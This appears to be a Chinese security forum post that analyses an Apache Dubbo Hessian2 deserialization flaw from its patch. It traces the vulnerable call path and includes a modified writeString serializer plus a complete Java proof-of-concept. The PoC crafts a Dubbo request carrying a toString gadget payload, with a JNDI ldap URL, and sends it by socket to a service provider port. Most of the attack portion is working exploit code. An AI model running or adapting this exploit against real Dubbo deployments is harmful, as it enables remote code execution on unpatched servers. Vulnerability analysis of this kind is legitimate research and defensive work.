This issue affects Apache Dubbo Apache Dubbo 2.6.x versions prior to 2.6.12; Apache Dubbo 2.7.x versions prior to 2.7.15; Apache Dubbo 3.0.x versions prior to 3.0.5.

补丁&漏洞分析

直接先从补丁来看

https://github.com/apache/dubbo-hessian-lite/commit/a35a4e59ebc76721d936df3c01e1943e871729bd#

这个commit 的名称是

Remove toString Calling

修改部分基本如下

主要变动就是删除了隐式的对象的toString调用。

dubbo的默认序列化引擎是 hessian2 ,且修复了src/main/java/com/alibaba/com/caucho/hessian/io/Hessian2Input.java 中的 expect方法,这是最容易被利用的,比如

org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)

然后 readUTF() -> readString() -> except()

readString 只需要不满足上面的case就可以了。

作者使用的是67,也就是0x43。

构造的话,重写一下com.alibaba.com.caucho.hessian.io.Hessian2Output#writeString(java.lang.String) 方法。

int offset = this._offset;
        byte[] buffer = this._buffer;
        if (4096 <= offset + 16) {
            this.flush();
            offset = this._offset;
        }

        if (value == null) {
            buffer[offset++] = 78;
            this._offset = offset;
        } else {
            int length = value.length();

            int strOffset;
            int sublen;
            for (strOffset = 0; length > 32768; strOffset += sublen) {
                sublen = 32768;
                offset = this._offset;
                if (4096 <= offset + 16) {
                    this.flush();
                    offset = this._offset;
                }

                char tail = value.charAt(strOffset + sublen - 1);
                if ('\ud800' <= tail && tail <= '\udbff') {
                    --sublen;
                }

                buffer[offset + 0] = 82;
                buffer[offset + 1] = (byte) (sublen >> 8);
                buffer[offset + 2] = (byte) sublen;
                this._offset = offset + 3;
                this.printString(value, strOffset, sublen);
                length -= sublen;
            }

            offset = this._offset;
            if (4096 <= offset + 16) {
                this.flush();
                offset = this._offset;
            }

            if (length <= 31) {
                if (value.startsWith("2.")) {
                    buffer[offset++] = 67;
                } else {
                    buffer[offset++] = (byte) (0 + length);
                }
            } else if (length <= 1023) {
                buffer[offset++] = (byte) (48 + (length >> 8));
                buffer[offset++] = (byte) length;
            } else {
                buffer[offset++] = 83;
                buffer[offset++] = (byte) (length >> 8);
                buffer[offset++] = (byte) length;
            }

            if (!value.startsWith("2.")) {
                this._offset = offset;
                this.printString(value, strOffset, length);
            }
        }
    }

然后在后面紧接着writeObject 一个 toString 的Gadgets即可。

但利用比较局限,hessian存在黑名单,老五条被ban掉,然后fastjson版本又是在1.2.70,同样有黑名单的限制。

需要找其他第三方的依赖,且满足Hessian2序列化的规则。

poc

package org.apache.dubbo.samples.basic;


import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput;


import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.util.Random;


public class TestBasicConsumer {
    public static String JNDI_URL = "ldap://127.0.0.1:1389/xxx";
    public static Object payload()throws Exception{

        return new Tests();

    }

    public static void main(String[] args) throws Exception{

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

// header.
        byte[] header = new byte[16];
// set magic number.
        Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
        header[2] = (byte) ((byte) 0x80 | 2);

// set request id.
        Bytes.long2bytes(new Random().nextInt(100000000), header, 4);

        ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);

        out.writeUTF("2.0.2");
//todo 此处填写注册中心获取到的service全限定名、版本号、方法名
        // attachment

        out.writeObject(payload());

        out.flushBuffer();

        Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
        byteArrayOutputStream.write(header);
        byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());

        byte[] bytes = byteArrayOutputStream.toByteArray();

//todo 此处填写被攻击的dubbo服务提供者地址和端口
        Socket socket = new Socket("127.0.0.1", 20880);
        OutputStream outputStream = socket.getOutputStream();
        outputStream.write(bytes);
        outputStream.flush();
        outputStream.close();
    }
}

https://paper.seebug.org/1814/

点击收藏 | 3 关注 | 1 打赏
登录 后跟帖